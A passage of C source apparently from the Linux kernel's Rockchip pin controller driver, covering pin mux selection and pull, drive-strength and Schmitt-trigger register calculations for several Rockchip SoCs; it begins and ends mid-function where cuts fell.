rockchip_pin_bank *bank, int pin, int mux, u32 *reg, u32 *value) { struct rockchip_pinctrl *info = bank->drvdata; struct rockchip_pin_ctrl *ctrl = info->ctrl; struct rockchip_mux_route_data *data; int i; for (i = 0; i < ctrl->niomux_routes; i++) { data = &ctrl->iomux_routes[i]; if ((data->bank_num == bank->bank_num) && (data->pin == pin) && (data->func == mux)) break; } if (i >= ctrl->niomux_routes) return false; *reg = data->route_offset; *value = data->route_val; return true; } static int rockchip_get_mux(struct rockchip_pin_bank *bank, int pin) { struct rockchip_pinctrl *info = bank->drvdata; int iomux_num = (pin / 8); struct regmap *regmap; unsigned int val; int reg, ret, mask, mux_type; u8 bit; if (iomux_num > 3) return -EINVAL; if (bank->iomux[iomux_num].type & IOMUX_UNROUTED) { dev_err(info->dev, "pin %d is unrouted\n", pin); return -EINVAL; } if (bank->iomux[iomux_num].type & IOMUX_GPIO_ONLY) return RK_FUNC_GPIO; regmap = (bank->iomux[iomux_num].type & IOMUX_SOURCE_PMU) ? info->regmap_pmu : info->regmap_base; /* get basic quadrupel of mux registers and the correct reg inside */ mux_type = bank->iomux[iomux_num].type; reg = bank->iomux[iomux_num].offset; if (mux_type & IOMUX_WIDTH_4BIT) { if ((pin % 8) >= 4) reg += 0x4; bit = (pin % 4) * 4; mask = 0xf; } else if (mux_type & IOMUX_WIDTH_3BIT) { if ((pin % 8) >= 5) reg += 0x4; bit = (pin % 8 % 5) * 3; mask = 0x7; } else { bit = (pin % 8) * 2; mask = 0x3; } if (bank->recalced_mask & BIT(pin)) rockchip_get_recalced_mux(bank, pin, &reg, &bit, &mask); ret = regmap_read(regmap, reg, &val); if (ret) return ret; return ((val >> bit) & mask); } static int rockchip_verify_mux(struct rockchip_pin_bank *bank, int pin, int mux) { struct rockchip_pinctrl *info = bank->drvdata; int iomux_num = (pin / 8); if (iomux_num > 3) return -EINVAL; if (bank->iomux[iomux_num].type & IOMUX_UNROUTED) { dev_err(info->dev, "pin %d is unrouted\n", pin); return -EINVAL; } if (bank->iomux[iomux_num].type & IOMUX_GPIO_ONLY) { if (mux != RK_FUNC_GPIO) { dev_err(info->dev, "pin %d only supports a gpio mux\n", pin); return -ENOTSUPP; } } return 0; } /* * Set a new mux function for a pin. * * The register is divided into the upper and lower 16 bit. When changing * a value, the previous register value is not read and changed. Instead * it seems the changed bits are marked in the upper 16 bit, while the * changed value gets set in the same offset in the lower 16 bit. * All pin settings seem to be 2 bit wide in both the upper and lower * parts. * @bank: pin bank to change * @pin: pin to change * @mux: new mux function to set */ static int rockchip_set_mux(struct rockchip_pin_bank *bank, int pin, int mux) { struct rockchip_pinctrl *info = bank->drvdata; int iomux_num = (pin / 8); struct regmap *regmap; int reg, ret, mask, mux_type; u8 bit; u32 data, rmask, route_reg, route_val; ret = rockchip_verify_mux(bank, pin, mux); if (ret < 0) return ret; if (bank->iomux[iomux_num].type & IOMUX_GPIO_ONLY) return 0; dev_dbg(info->dev, "setting mux of GPIO%d-%d to %d\n", bank->bank_num, pin, mux); regmap = (bank->iomux[iomux_num].type & IOMUX_SOURCE_PMU) ? info->regmap_pmu : info->regmap_base; /* get basic quadrupel of mux registers and the correct reg inside */ mux_type = bank->iomux[iomux_num].type; reg = bank->iomux[iomux_num].offset; if (mux_type & IOMUX_WIDTH_4BIT) { if ((pin % 8) >= 4) reg += 0x4; bit = (pin % 4) * 4; mask = 0xf; } else if (mux_type & IOMUX_WIDTH_3BIT) { if ((pin % 8) >= 5) reg += 0x4; bit = (pin % 8 % 5) * 3; mask = 0x7; } else { bit = (pin % 8) * 2; mask = 0x3; } if (bank->recalced_mask & BIT(pin)) rockchip_get_recalced_mux(bank, pin, &reg, &bit, &mask); if (bank->route_mask & BIT(pin)) { if (rockchip_get_mux_route(bank, pin, mux, &route_reg, &route_val)) { ret = regmap_write(regmap, route_reg, route_val); if (ret) return ret; } } data = (mask << (bit + 16)); rmask = data | (data >> 16); data |= (mux & mask) << bit; ret = regmap_update_bits(regmap, reg, rmask, data); return ret; } #define RV1108_PULL_PMU_OFFSET 0x10 #define RV1108_PULL_OFFSET 0x110 #define RV1108_PULL_PINS_PER_REG 8 #define RV1108_PULL_BITS_PER_PIN 2 #define RV1108_PULL_BANK_STRIDE 16 static void rv1108_calc_pull_reg_and_bit(struct rockchip_pin_bank *bank, int pin_num, struct regmap **regmap, int *reg, u8 *bit) { struct rockchip_pinctrl *info = bank->drvdata; /* The first 24 pins of the first bank are located in PMU */ if (bank->bank_num == 0) { *regmap = info->regmap_pmu; *reg = RV1108_PULL_PMU_OFFSET; } else { *reg = RV1108_PULL_OFFSET; *regmap = info->regmap_base; /* correct the offset, as we're starting with the 2nd bank */ *reg -= 0x10; *reg += bank->bank_num * RV1108_PULL_BANK_STRIDE; } *reg += ((pin_num / RV1108_PULL_PINS_PER_REG) * 4); *bit = (pin_num % RV1108_PULL_PINS_PER_REG); *bit *= RV1108_PULL_BITS_PER_PIN; } #define RV1108_DRV_PMU_OFFSET 0x20 #define RV1108_DRV_GRF_OFFSET 0x210 #define RV1108_DRV_BITS_PER_PIN 2 #define RV1108_DRV_PINS_PER_REG 8 #define RV1108_DRV_BANK_STRIDE 16 static void rv1108_calc_drv_reg_and_bit(struct rockchip_pin_bank *bank, int pin_num, struct regmap **regmap, int *reg, u8 *bit) { struct rockchip_pinctrl *info = bank->drvdata; /* The first 24 pins of the first bank are located in PMU */ if (bank->bank_num == 0) { *regmap = info->regmap_pmu; *reg = RV1108_DRV_PMU_OFFSET; } else { *regmap = info->regmap_base; *reg = RV1108_DRV_GRF_OFFSET; /* correct the offset, as we're starting with the 2nd bank */ *reg -= 0x10; *reg += bank->bank_num * RV1108_DRV_BANK_STRIDE; } *reg += ((pin_num / RV1108_DRV_PINS_PER_REG) * 4); *bit = pin_num % RV1108_DRV_PINS_PER_REG; *bit *= RV1108_DRV_BITS_PER_PIN; } #define RV1108_SCHMITT_PMU_OFFSET 0x30 #define RV1108_SCHMITT_GRF_OFFSET 0x388 #define RV1108_SCHMITT_BANK_STRIDE 8 #define RV1108_SCHMITT_PINS_PER_GRF_REG 16 #define RV1108_SCHMITT_PINS_PER_PMU_REG 8 static int rv1108_calc_schmitt_reg_and_bit(struct rockchip_pin_bank *bank, int pin_num, struct regmap **regmap, int *reg, u8 *bit) { struct rockchip_pinctrl *info = bank->drvdata; int pins_per_reg; if (bank->bank_num == 0) { *regmap = info->regmap_pmu; *reg = RV1108_SCHMITT_PMU_OFFSET; pins_per_reg = RV1108_SCHMITT_PINS_PER_PMU_REG; } else { *regmap = info->regmap_base; *reg = RV1108_SCHMITT_GRF_OFFSET; pins_per_reg = RV1108_SCHMITT_PINS_PER_GRF_REG; *reg += (bank->bank_num - 1) * RV1108_SCHMITT_BANK_STRIDE; } *reg += ((pin_num / pins_per_reg) * 4); *bit = pin_num % pins_per_reg; return 0; } #define RK2928_PULL_OFFSET 0x118 #define RK2928_PULL_PINS_PER_REG 16 #define RK2928_PULL_BANK_STRIDE 8 static void rk2928_calc_pull_reg_and_bit(struct rockchip_pin_bank *bank, int pin_num, struct regmap **regmap, int *reg, u8 *bit) { struct rockchip_pinctrl *info = bank->drvdata; *regmap = info->regmap_base; *reg = RK2928_PULL_OFFSET; *reg += bank->bank_num * RK2928_PULL_BANK_STRIDE; *reg += (pin_num / RK2928_PULL_PINS_PER_REG) * 4; *bit = pin_num % RK2928_PULL_PINS_PER_REG; }; #define RK3128_PULL_OFFSET 0x118 static void rk3128_calc_pull_reg_and_bit(struct rockchip_pin_bank *bank, int pin_num, struct regmap **regmap, int *reg, u8 *bit) { struct rockchip_pinctrl *info = bank->drvdata; *regmap = info->regmap_base; *reg = RK3128_PULL_OFFSET; *reg += bank->bank_num * RK2928_PULL_BANK_STRIDE; *reg += ((pin_num / RK2928_PULL_PINS_PER_REG) * 4); *bit = pin_num % RK2928_PULL_PINS_PER_REG; } #define RK3188_PULL_OFFSET 0x164 #define RK3188_PULL_BITS_PER_PIN 2 #define RK3188_PULL_PINS_PER_REG 8 #define RK3188_PULL_BANK_STRIDE 16 #define RK3188_PULL_PMU_OFFSET 0x64 static void rk3188_calc_pull_reg_and_bit(struct rockchip_pin_bank *bank, int pin_num, struct regmap **regmap, int *reg, u8 *bit) { struct rockchip_pinctrl *info = bank->drvdata; /* The first 12 pins of the first bank are located elsewhere */ if (bank->bank_num == 0 && pin_num < 12) { *regmap = info->regmap_pmu ? info->regmap_pmu : bank->regmap_pull; *reg = info->regmap_pmu ? RK3188_PULL_PMU_OFFSET : 0; *reg += ((pin_num / RK3188_PULL_PINS_PER_REG) * 4); *bit = pin_num % RK3188_PULL_PINS_PER_REG; *bit *= RK3188_PULL_BITS_PER_PIN; } else { *regmap = info->regmap_pull ? info->regmap_pull : info->regmap_base; *reg = info->regmap_pull ? 0 : RK3188_PULL_OFFSET; /* correct the offset, as it is the 2nd pull register */ *reg -= 4; *reg += bank->bank_num * RK3188_PULL_BANK_STRIDE; *reg += ((pin_num / RK3188_PULL_PINS_PER_REG) * 4); /* * The bits in these registers have an inverse ordering * with the lowest pin being in bits 15:14 and the highest * pin in bits 1:0 */ *bit = 7 - (pin_num % RK3188_PULL_PINS_PER_REG); *bit *= RK3188_PULL_BITS_PER_PIN; } } #define RK3288_PULL_OFFSET 0x140 static void rk3288_calc_pull_reg_and_bit(struct rockchip_pin_bank *bank, int pin_num, struct regmap **regmap, int *reg, u8 *bit) { struct rockchip_pinctrl *info = bank->drvdata; /* The first 24 pins of the first bank are located in PMU */ if (bank->bank_num == 0) { *regmap = info->regmap_pmu; *reg = RK3188_PULL_PMU_OFFSET; *reg += ((pin_num / RK3188_PULL_PINS_PER_REG) * 4); *bit = pin_num % RK3188_PULL_PINS_PER_REG; *bit *= RK3188_PULL_BITS_PER_PIN; } else { *regmap = info->regmap_base; *reg = RK3288_PULL_OFFSET; /* correct the offset, as we're starting with the 2nd bank */ *reg -= 0x10; *reg += bank->bank_num * RK3188_PULL_BANK_STRIDE; *reg += ((pin_num / RK3188_PULL_PINS_PER_REG) * 4); *bit = (pin_num % RK3188_PULL_PINS_PER_REG); *bit *= RK3188_PULL_BITS_PER_PIN; } } #define RK3288_DRV_PMU_OFFSET 0x70 #define RK3288_DRV_GRF_OFFSET 0x1c0 #define RK3288_DRV_BITS_PER_PIN 2 #define RK3288_DRV_PINS_PER_REG 8 #define RK3288_DRV_BANK_STRIDE 16 static void rk3288_calc_drv_reg_and_bit(struct rockchip_pin_bank *bank, int pin_num, struct regmap **regmap, int *reg, u8 *bit) { struct rockchip_pinctrl *info = bank->drvdata; /* The first 24 pins of the first bank are located in PMU */ if (bank->bank_num == 0) { *regmap = info->regmap_pmu; *reg = RK3288_DRV_PMU_OFFSET; *reg += ((pin_num / RK3288_DRV_PINS_PER_REG) * 4); *bit = pin_num % RK3288_DRV_PINS_PER_REG; *bit *= RK3288_DRV_BITS_PER_PIN; } else { *regmap = info->regmap_base; *reg = RK3288_DRV_GRF_OFFSET; /* correct the offset, as we're starting with the 2nd bank */ *reg -= 0x10; *reg += bank->bank_num * RK3288_DRV_BANK_STRIDE; *reg += ((pin_num / RK3288_DRV_PINS_PER_REG) * 4); *bit = (pin_num % RK3288_DRV_PINS_PER_REG); *bit *= RK3288_DRV_BITS_PER_PIN; } } #define RK3228_PULL_OFFSET 0x100 static void rk3228_calc_pull_reg_and_bit(struct rockchip_pin_bank *bank, int pin_num, struct regmap **regmap, int *reg, u8 *bit) { struct rockchip_pinctrl *info = bank->drvdata; *regmap = info->regmap_base; *reg = RK3228_PULL_OFFSET; *reg += bank->bank_num * RK3188_PULL_BANK_STRIDE; *reg += ((pin_num / RK3188_PULL_PINS_PER_REG) * 4); *bit = (pin_num % RK3188_PULL_PINS_PER_REG); *bit *= RK3188_PULL_BITS_PER_PIN; } #define RK3228_DRV_GRF_OFFSET 0x200 static void rk3228_calc_drv_reg_and_bit(struct rockchip_pin_bank *bank, int pin_num, struct regmap **regmap, int *reg, u8 *bit) { struct rockchip_pinctrl *info = bank->drvdata; *regmap = info->regmap_base; *reg = RK3228_DRV_GRF_OFFSET; *reg += bank->bank_num * RK3288_DRV_BANK_STRIDE; *reg += ((pin_num / RK3288_DRV_PINS_PER_REG) * 4); *bit = (pin_num % RK3288_DRV_PINS_PER_REG); *bit *= RK3288_DRV_BITS_PER_PIN; } #define RK3368_PULL_GRF_OFFSET 0x100 #define RK3368_PULL_PMU_OFFSET 0x10 static void rk3368_calc_pull_reg_and_bit(struct rockchip_pin_bank *bank, int pin_num, struct regmap **regmap, int *reg, u8 *bit) { struct rockchip_pinctrl *info = bank->drvdata; /* The first 32 pins of the first bank are located in PMU */ if (bank->bank_num == 0) { *regmap = info->regmap_pmu; *reg = RK3368_PULL_PMU_OFFSET; *reg += ((pin_num / RK3188_PULL_PINS_PER_REG) * 4); *bit = pin_num % RK3188_PULL_PINS_PER_REG; *bit *= RK3188_PULL_BITS_PER_PIN; } else { *regmap = info->regmap_base; *reg = RK3368_PULL_GRF_OFFSET; /* correct the offset, as we're starting with the 2nd bank */ *reg -= 0x10; *reg += bank->bank_num * RK3188_PULL_BANK_STRIDE; *reg += ((pin_num / RK3188_PULL_PINS_PER_REG) * 4); *bit = (pin_num % RK3188_PULL_PINS_PER_REG); *bit *= RK3188_PULL_BITS_PER_PIN; } } #define RK3368_DRV_PMU_OFFSET 0x20 #define RK3368_DRV_GRF_OFFSET 0x200 static void rk3368_calc_drv_reg_and_bit(struct rockchip_pin_bank *bank, int pin_num, struct regmap **regmap, int *reg, u8 *bit) { struct rockchip_pinctrl *info = bank->drvdata; /* The first 32 pins of the first bank are located in PMU */ if (bank->bank_num == 0) { *regmap = info->regmap_pmu; *reg = RK3368_DRV_PMU_OFFSET; *reg += ((pin_num / RK3288_DRV_PINS_PER_REG) * 4); *bit = pin_num % RK3288_DRV_PINS_PER_REG; *bit *= RK3288_DRV_BITS_PER_PIN; } else { *regmap = info->regmap_base; *reg = RK3368_DRV_GRF_OFFSET; /* correct the offset, as we're starting with the 2nd bank */ *reg -= 0x10; *reg += bank->bank_num * RK3288_DRV_BANK_STRIDE; *reg += ((pin_num / RK3288_DRV_PINS_PER_REG) * 4); *bit = (pin_num % RK3288_DRV_PINS_PER_REG); *bit *= RK3288_DRV_BITS_PER_PIN; } } #define RK3399_PULL_GRF_OFFSET 0xe040 #define RK3399_PULL_PMU_OFFSET 0x40 #define RK3399_DRV_3BITS_PER_PIN 3 static void rk3399_calc_pull_reg_and_bit(struct rockchip_pin_bank *bank, int pin_num, struct regmap **regmap, int *reg, u8 *bit) { struct rockchip_pinctrl *info = bank->drvdata; /* The bank0:16 and bank1:32 pins are located in PMU */ if ((bank->bank_num == 0) || (bank->bank_num == 1)) { *regmap = info->regmap_pmu; *reg = RK3399_PULL_PMU_OFFSET; *reg += bank->bank_num * RK3188_PULL_BANK_STRIDE; *reg += ((pin_num / RK3188_PULL_PINS_PER_REG) * 4); *bit = pin_num % RK3188_PULL_PINS_PER_REG; *bit *= RK3188_PULL_BITS_PER_PIN; } else { *regmap = info->regmap_base; *reg = RK3399_PULL_GRF_OFFSET; /* correct the offset, as we're starting with the 3rd bank */ *reg -= 0x20; *reg += bank->bank_num * RK3188_PULL_BANK_STRIDE; *reg += ((pin_num / RK3188_PULL_PINS_PER_REG) * 4); *bit = (pin_num % RK3188_PULL_PINS_PER_REG); *bit *= RK3188_PULL_BITS_PER_PIN; } } static void rk3399_calc_drv_reg_and_bit(struct rockchip_pin_bank *bank, int pin_num, struct regmap **regmap, int *reg, u8 *bit) { struct rockchip_pinctrl *info = bank->drvdata; int drv_num = (pin_num / 8); /* The bank0:16 and bank1:32 pins are located in PMU */ if ((bank->bank_num == 0) || (bank->bank_num == 1)) *regmap = info->regmap_pmu; else *regmap = info->regmap_base; *reg = bank->drv[drv_num].offset; if ((bank->drv[drv_num].drv_type == DRV_TYPE_IO_1V8_3V0_AUTO) || (bank->drv[drv_num].drv_type == DRV_TYPE_IO_3V3_ONLY)) *bit = (pin_num % 8) * 3; else *bit = (pin_num % 8) * 2; } static int rockchip_perpin_drv_list[DRV_TYPE_MAX][8] = { { 2, 4, 8, 12, -1, -1, -1, -1 }, { 3, 6, 9, 12, -1, -1, -1, -1 }, { 5, 10, 15, 20, -1, -1, -1, -1 }, { 4, 6, 8, 10, 12, 14, 16, 18 }, { 4, 7, 10, 13, 16, 19, 22, 26 } }; static int rockchip_get_drive_perpin(struct rockchip_pin_bank *bank, int pin_num) { struct rockchip_pinctrl *info = bank->drvdata; struct rockchip_pin_ctrl *ctrl = info->ctrl; struct regmap *regmap; int reg, ret; u32 data, temp, rmask_bits; u8 bit; int drv_type = bank->drv[pin_num / 8].drv_type; ctrl->drv_calc_reg(bank, pin_num, &regmap, &reg, &bit); switch (drv_type) { case DRV_TYPE_IO_1V8_3V0_AUTO: case DRV_TYPE_IO_3V3_ONLY: rmask_bits = RK3399_DRV_3BITS_PER_PIN; switch (bit) { case 0 ... 12: /* regular case, nothing to do */ break; case 15: /* * drive-strength offset is special, as it is * spread over 2 registers */ ret = regmap_read(regmap, reg, &data); if (ret) return ret; ret = regmap_read(regmap, reg + 0x4, &temp); if (ret) return ret; /* * the bit data[15] contains bit 0 of the value * while temp[1:0] contains bits 2 and 1 */ data >>= 15; temp &= 0x3; temp <<= 1; data |= temp; return rockchip_perpin_drv_list[drv_type][data]; case 18 ... 21: /* setting fully enclosed in the second register */ reg += 4; bit -= 16; break; default: dev_err(info->dev, "unsupported bit: %d for pinctrl drive type: %d\n", bit, drv_type); return -EINVAL; } break; case DRV_TYPE_IO_DEFAULT: case DRV_TYPE_IO_1V8_OR_3V0: case DRV_TYPE_IO_1V8_ONLY: rmask_bits = RK3288_DRV_BITS_PER_PIN; break; default: dev_err(info->dev, "unsupported pinctrl drive type: %d\n", drv_type); return -EINVAL; } ret = regmap_read(regmap, reg, &data); if (ret) return ret; data >>= bit; data &= (1 << rmask_bits) - 1; return rockchip_perpin_drv_list[drv_type][data]; } static int rockchip_set_drive_perpin(struct rockchip_pin_bank *bank, int pin_num, int strength) { struct rockchip_pinctrl *info = bank->drvdata; struct rockchip_pin_ctrl *ctrl = info->ctrl; struct regmap *regmap; int reg, ret, i; u32 data, rmask, rmask_bits, temp; u8 bit; int drv_type = bank->drv[pin_num / 8].drv_type; dev_dbg(info->dev, "setting drive of GPIO%d-%d to %d\n", bank->bank_num, pin_num, strength); ctrl->drv_calc_reg(bank, pin_num, &regmap, &reg, &bit); ret = -EINVAL; for (i = 0; i < ARRAY_SIZE(rockchip_perpin_drv_list[drv_type]); i++) { if (rockchip_perpin_drv_list[drv_type][i] == strength) { ret = i; break; } else if (rockchip_perpin_drv_list[drv_type][i] < 0) { ret = rockchip_perpin_drv_list[drv_type][i]; break; } } if (ret < 0) { dev_err(info->dev, "unsupported driver strength %d\n", strength); return ret; } switch (drv_type) { case DRV_TYPE_IO_1V8_3V0_AUTO: case DRV_TYPE_IO_3V3_ONLY: rmask_bits = RK3399_DRV_3BITS_PER_PIN; switch (bit) { case 0 ... 12: /* regular case, nothing to do */ break; case 15: /* * drive-strength offset is special, as it is spread * over 2 registers, the bit data[15] contains bit 0 * of the value while temp[1:0] contains bits 2 and 1 */ data = (ret & 0x1) << 15; temp = (ret >> 0x1) & 0x3; rmask = BIT(15) | BIT(31); data |= BIT(31); ret = regmap_update_bits(regmap, reg, rmask, data); if (ret) return ret; rmask = 0x3 | (0x3 << 16); temp |= (0x3 << 16); reg += 0x4; ret = regmap_update_bits(regmap, reg, rmask, temp); return ret; case 18 ... 21: /* setting fully enclosed in the second register */ reg += 4; bit -= 16; break; default: dev_err(info->dev, "unsupported bit: %d for pinctrl drive type: %d\n", bit, drv_type); return -EINVAL; } break; case DRV_TYPE_IO_DEFAULT: case DRV_TYPE_IO_1V8_OR_3V0: case DRV_TYPE_IO_1V8_ONLY: rmask_bits = RK3288_DRV_BITS_PER_PIN; break; default: dev_err(info->dev, "unsupported pinctrl drive type: %d\n", drv_type); return -EINVAL; } /* enable the write to the equivalent lower bits */ data = ((1 << rmask_bits) - 1) << (bit + 16); rmask = data | (data >> 16); data |= (ret << bit); ret = regmap_update_bits(regmap, reg, rmask, data); return ret; } static int rockchip_pull_list[PULL_TYPE_MAX][4] = { { PIN_CONFIG_BIAS_DISABLE, PIN_CONFIG_BIAS_PULL_UP, PIN_CONFIG_BIAS_PULL_DOWN, PIN_CONFIG_BIAS_BUS_HOLD }, { PIN_CONFIG_BIAS_DISABLE, PIN_CONFIG_BIAS_PULL_DOWN, PIN_CONFIG_BIAS_DISABLE, PIN_CONFIG_BIAS_PULL_UP }, }; static int rockchip_get_pull(struct rockchip_pin_bank *bank, int pin_num) { struct rockchip_pinctrl *info = bank->drvdata; struct rockchip_pin_ctrl *ctrl = info->ctrl; struct regmap *regmap; int reg, ret, pull_type; u8 bit; u32 data; /* rk3066b does support any pulls */ if (ctrl->type == RK3066B) return PIN_CONFIG_BIAS_DISABLE; ctrl->pull_calc_reg(bank, pin_num, &regmap, &reg, &bit); ret = regmap_read(regmap, reg, &data); if (ret) return ret; switch (ctrl->type) { case RK2928: case RK3128: return !(data & BIT(bit)) ? PIN_CONFIG_BIAS_PULL_PIN_DEFAULT : PIN_CONFIG_BIAS_DISABLE; case RV1108: case RK3188: case RK3288: case RK3368: case RK3399: pull_type = bank->pull_type[pin_num / 8]; data >>= bit; data &= (1 << RK3188_PULL_BITS_PER_PIN) - 1; return rockchip_pull_list[pull_type][data]; default: dev_err(info->dev, "unsupported pinctrl type\n"); return -EINVAL; }; } static int rockchip_set_pull(struct rockchip_pin_bank *bank, int pin_num, int pull) { struct rockchip_pinctrl *info = bank->drvdata; struct rockchip_pin_ctrl *ctrl = info->ctrl; struct regmap *regmap; int reg, ret, i, pull_type; u8 bit; u32 data, rmask; dev_dbg(info->dev, "setting pull of GPIO%d-%d to %d\n", bank->bank_num, pin_num, pull); /* rk3066b does support any pulls */ if (ctrl->type == RK3066B) return pull ? -EINVAL : 0; ctrl->pull_calc_reg(bank, pin_num, &regmap, &reg, &bit); switch (ctrl->type) { case RK2928: case RK3128: data = BIT(bit + 16); if (pull == PIN_CONFIG_BIAS_DISABLE) data |= BIT(bit); ret = regmap_write(regmap, reg, data); break; case RV1108: case RK3188: case RK3288: case RK3368: case RK3399: pull_type = bank->pull_type[pin_num / 8]; ret = -EINVAL; for (i = 0; i < ARRAY_SIZE(rockchip_pull_list[pull_type]); i++) { if (rockchip_pull_list[pull_type][i] == pull) { ret = i; break; } } if (ret < 0) { dev_err(info->dev, "unsupported pull setting %d\n", pull); return ret; } /* enable the write to the equivalent lower bits */ data = ((1 << RK3188_PULL_BITS_PER_PIN) - 1) << (bit + 16); rmask = data | (data >> 16); data |= (ret << bit); ret = regmap_update_bits(regmap, reg, rmask, data); break; default: dev_err(info->dev, "unsupported pinctrl type\n"); return -EINVAL; } return ret; } #define RK3328_SCHMITT_BITS_PER_PIN 1 #define RK3328_SCHMITT_PINS_PER_REG 16 #define RK3328_SCHMITT_BANK_STRIDE 8 #define RK3328_SCHMITT_GRF_OFFSET 0x380 static int rk3328_calc_schmitt_reg_and_bit(struct rockchip_pin_bank *bank, int pin_num, struct regmap **regmap, int *reg, u8 *bit) { struct rockchip_pinctrl *info = bank->drvdata; *regmap = info->regmap_base; *reg = RK3328_SCHMITT_GRF_OFFSET; *reg += bank->bank_num * RK3328_SCHMITT_BANK_STRIDE; *reg += ((pin_num / RK3328_SCHMITT_PINS_PER_REG) * 4); *bit = pin_num % RK3328_SCHMITT_PINS_PER_REG; return 0; } static int rockchip_get_schmitt(struct rockchip_pin_bank *bank, int pin_num) { struct rockchip_pinctrl *info = bank->drvdata; struct rockchip_pin_ctrl *ctrl = info->ctrl; struct regmap *regmap; int reg, ret; u8 bit; u32 data; ret = ctrl->schmitt_calc_reg(bank, pin_num, &regmap, &reg, &bit); if (ret) return ret; ret = regmap_read(regmap, reg, &data); if (ret) return ret; data >>= bit; return data & 0x1; } static int rockchip_set_schmitt(struct rockchip_pin_bank *bank, int pin_num, int enable) { struct rockchip_pinctrl *info = bank->drvdata; struct rockchip_pin_ctrl *ctrl = info->ctrl; struct regmap *regmap; int reg, ret; u8 bit; u32 data, rmask; dev_dbg(info->dev, "setting input schmitt of GPIO%d-%d to %d\n", bank->bank_num, pin_num, enable); ret = ctrl->schmitt_calc_reg(bank, pin_num, &regmap, &reg, &bit); if (ret) return ret; /* enable the write to the equivalent lower bits */ data = BIT(bit + 16) | (enable << bit); rmask = BIT(bit + 16) | BIT(bit); return regmap_update_bits(regmap, reg, rmask, data); } /* * Pinmux_ops handling */ static int rockchip_pmx_get_funcs_count(struct pinctrl_dev *pctldev) { struct rockchip_pinctrl *info = pinctrl_dev_get_drvdata(pctldev); return info->nfunctions; } static const char *rockchip_pmx_get_func_name(struct pinctrl_dev *pctldev, unsigned selector) { struct rockchip_pinctrl *info = pinctrl_dev_get_drvdata(pctldev); return info->functions[selector].name; } static int rockchip_pmx_get_groups(struct pinctrl_dev *pctldev, unsigned selector, const char * const **groups, unsigned * const num_groups) { struct rockchip_pinctrl *info = pinctrl_dev_get_drvdata(pctldev); *groups = info->functions[selector].groups; *num_groups = info->functions[selector].ngroups; return 0; } static int rockchip_pmx_set(struct pinctrl_dev *pctldev, unsigned selector, unsigned group) { struct rockchip_pinctrl *info = pinctrl_dev_get_drvdata(pctldev); const unsigned int *pins = info->groups[group].pins; const struct rockchip_pin_config *data = info->groups[group].data; struct rockchip_pin_bank *bank; int cnt, ret = 0; dev_dbg(info->dev, "enable function %s group %s\n", info->functions[selector].name, info->groups[group].name); /* * for each pin in the pin group selected, program the correspoding pin * pin function number in the config register. */ for (cnt = 0; cnt < info->groups[group].npins; cnt++) { bank = pin_to_bank(info, pins[cnt]); ret = rockchip_set_mux(bank, pins[cnt] - bank->pin_base, data[cnt].func); if (ret) break; } if (ret) { /* revert the already done pin settings */ for (cnt--; cnt >= 0; cnt--) rockchip_set_mux(bank, pins[cnt] - bank->pin_base, 0); return ret; } return 0; } static int rockchip_gpio_get_direction(struct gpio_chip *chip, unsigned offset) { struct rockchip_pin_bank *bank = gpiochip_get_data(chip); u32 data; int ret; ret = clk_enable(bank->clk); if (ret < 0) { dev_err(bank->drvdata->dev, "failed to enable clock for bank %s\n", bank->name); return ret; } data = readl_relaxed(bank->reg_base + GPIO_SWPORT_DDR); clk_disable(bank->clk); return !(data & BIT(offset)); } /* * The calls to gpio_direction_output() and gpio_direction_input() * leads to this function call (via the pinctrl_gpio_direction_{input|output}() * function called from the gpiolib interface). */ static int _rockchip_pmx_gpio_set_direction(struct gpio_chip *chip, int pin, bool input) { struct rockchip_pin_bank *bank; int ret; unsigned long flags; u32 data; bank = gpiochip_get_data(chip); ret = rockchip_set_mux(bank, pin, RK_FUNC_GPIO); if (ret < 0) return ret; clk_enable(bank->clk); raw_spin_lock_irqsave(&bank->slock, flags); data = readl_relaxed(bank->reg_base + GPIO_SWPORT_DDR); /* set bit to 1 for output, 0 for input */ if (!input) data |= BIT(pin); else data &= ~BIT(pin); writel_relaxed(data, bank->reg_base + GPIO_SWPORT_DDR); raw_spin_unlock_irqrestore(&bank->slock, flags); clk_disable(bank->clk); return 0; } static int rockchip_pmx_gpio_set_direction(struct pinctrl_dev *pctldev, struct pinctrl_gpio_range *range, unsigned offset, bool input) { struct rockchip_pinctrl *info = pinctrl_dev_get_drvdata(pctldev); struct gpio_chip *chip; int pin; chip = range->gc; pin = offset - chip->base; dev_dbg(info->dev, "gpio_direction for pin %u as %s-%d to %s\n", offset, range->name, pin, input ? "input" : "output"); return _rockchip_pmx_gpio_set_direction(chip, offset - chip->base, input); } static const struct pinmux_ops rockchip_pmx_ops = { .get_functions_count = rockchip_pmx_get_funcs_count, .get_function_name = rockchip_pmx_get_func_name, .get_function_groups = rockchip_pmx_get_groups, .set_mux = rockchip_pmx_set, .gpio_set_direction = rockchip_pmx_gpio_set_direction, }; /* * Pinconf_ops handling */ static bool rockchip_pinconf_pull_valid(struct rockchip_pin_ctrl *ctrl, enum pin_config_param pull) { switch (ctrl->type) { case RK2928: case RK3128: return (pull == PIN_CONFIG_BIAS_PULL_PIN_DEFAULT || pull == PIN_CONFIG_BIAS_DISABLE); case RK3066B: return pull ? false : true; case RV1108: case RK3188: case RK3288: case RK3368: case RK3399: return (pull != PIN_CONFIG_BIAS_PULL_PIN_DEFAULT); } return false; } static void rockchip_gpio_set(struct gpio_chip *gc, unsigned offset, int value); static int rockchip_gpio_get(struct gpio_chip *gc, unsigned offset); /* set the pin config settings for a specified pin */ static int rockchip_pinconf_set(struct pinctrl_dev *pctldev, unsigned int pin, unsigned long *configs, unsigned num_configs) { struct rockchip_pinctrl *info = pinctrl_dev_get_drvdata(pctldev); struct rockchip_pin_bank *bank = pin_to_bank(info, pin); enum pin_config_param param; u32 arg; int i; int rc; for (i = 0; i < num_configs; i++) { param = pinconf_to_config_param(configs[i]); arg = pinconf_to_config_argument(configs[i]); switch (param) { case PIN_CONFIG_BIAS_DISABLE: rc = rockchip_set_pull(bank, pin - bank->pin_base, param); if (rc) return rc; break; case PIN_CONFIG_BIAS_PULL_UP: case PIN_CONFIG_BIAS_PULL_DOWN: case PIN_CONFIG_BIAS_PULL_PIN_DEFAULT: case PIN_CONFIG_BIAS_BUS_HOLD: if (!rockchip_pinconf_pull_valid(info->ctrl, param)) return -ENOTSUPP; if (!arg) return -EINVAL; rc = rockchip_set_pull(bank, pin - bank->pin_base, param); if (rc) return rc; break; case PIN_CONFIG_OUTPUT: rockchip_gpio_set(&bank->gpio_chip, pin - bank->pin_base, arg); rc = _rockchip_pmx_gpio_set_direction(&bank->gpio_chip, pin - bank->pin_base, false); if (rc) return rc; break; case 